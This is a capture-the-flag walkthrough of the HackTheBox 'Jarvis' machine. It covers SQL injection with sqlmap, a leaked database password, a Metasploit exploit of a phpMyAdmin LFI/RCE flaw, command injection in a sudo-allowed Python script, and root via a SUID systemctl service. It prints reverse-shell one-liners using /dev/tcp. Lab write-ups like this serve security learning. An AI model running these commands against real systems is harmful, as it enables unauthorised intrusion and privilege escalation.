HackTheBox: Jarvis

Image result for hackthebox jarvis


Naturally, we begin with a full port scan. We see 3 open ports on the target host:

  • 22: SSH
  • 80: HTTP
  • 64999: HTTP
Full Port Scan

Enumerating HTTP on port 80

80: HTTP Landing page

The landing page of the web server hosted on port 80 appears to be a hotel portal. Naturally, I’ll begin a GoBuster scan from here, which identifies that the service is hosting PHP my admin:

$ gobuster \
    dir \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

GoBuster scan

When browsing the page which displays the available rooms of the hotel, we see a URL which grabs items from an SQL database.

Possible SQLi vulnerable URL

When placing a single quote =1' in the URL, no data is retrieved. This hints that the user input is not sanitized when interacting with the SQL database.

SQL Injection Attempt

From here, we can use sqlmap to retrieve password hashes, and try to brute force the password against a word list.

$ sqlmap --url "" -a
SQLMap obtain DBadmin password

Initial Shell

We must enumerate the PHPMyAdmin version. To do this, we log into the PHPMyAdmin portal, and we identify that PHPMyAdmin version is 4.8.0. When performing some enumeration on this version number, we can identify that it is vulnerable to an LFI vulnerability allowing for RCE: CVE-2018-12613. There is a metasploit module for this exploit: https://www.exploit-db.com/exploits/45020

Enumerating PHPMyAdmin version number

So we conveniently use the metasploit module to obtain a shell:

$ msfconsole
> use /exploit/multi/http/phpmyadmin_lfi_rce
> show options
> set username DBadmin
> set password imissyou
> set rhosts
> set lhost
> exploit
Meterpreter Session 2 Opened

Escalating Privileges

Host Enumeration

We have to enumerate the target host. Initially, we can see if there are SUID binary low hanging fruits which could help us to create a reverse shell.

$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null

Interestingly, we see that the systemctl binary is SUID, which is not normal in the default debian configuration.

Identify SUID Binaries

I like to check what commands the current user can run as root, so we can issue the sudo -l command. Interestingly, we see that the www-data user can run a python script (simpler.py) as the pepper user, without a password.

sudo -l

We should perform a code review as there could be a vulnerability in the script which would allow us to execute commands pepper user.

Vulnerable code

Bingo! There is a line which executes a ping command, concatenating un-sanitized user input; definitely never a good idea! As the ping command will be ongoing, there will be no way to get a shell directly from here, but rather we can create a new reverse shell with the intention of getting a user pepper shell.

Pivoting to Pepper User

$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
# Within the script
$ bash -i >& /dev/tcp/ 0>&1
Capture Pepper Shell

Putting it all together

We can use the pepper user to create a new service in the /home/pepper directory, and use the SUID binary to execute the service. The importance of switching to the pepper user is that we can then write files to the /home/pepper directory. Creating a new service in the /tmp directory will not work, systemctl will not accept this. Our intention is to use the new service to spawn a reverse shell as root user. To do this we must create 2 files;

  1. Shell script (rootservice.sh)
  2. Service file which executes the shell script (rootserv.service)

I create the files on my local VM host, and use wget to transfer these to the jarvis server.

$ cat rootserv.service
Description=Get Root

ExecStart=/bin/bash /home/pepper/rootservice.sh


$ cat rootservice.sh
bash -i >& /dev/tcp/ 0>&1
Creating the required service files

Finally, we must use systemctl to start the service, and hopefully we should capture the reverse shell connection.

$ systemctl enable /home/pepper/rootserv.service --now
Root Shell

Closing Thoughts

This is a cool box, involving SQL injection, code reviews, pivoting, and exploiting the systemctl SUID binary.

We ended up only exploiting port 80, leaving SSH and the alternative HTTP port 64999 untouched. I believe that port 64999 was a rabbit hole. When viewing it, we get a message that we have been banned for 90 seconds. This also bans us for the regular HTTP service on port 80! Perhaps it’s intended as a honeypot to slow down attackers.

Port 64999 HTTP Response

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.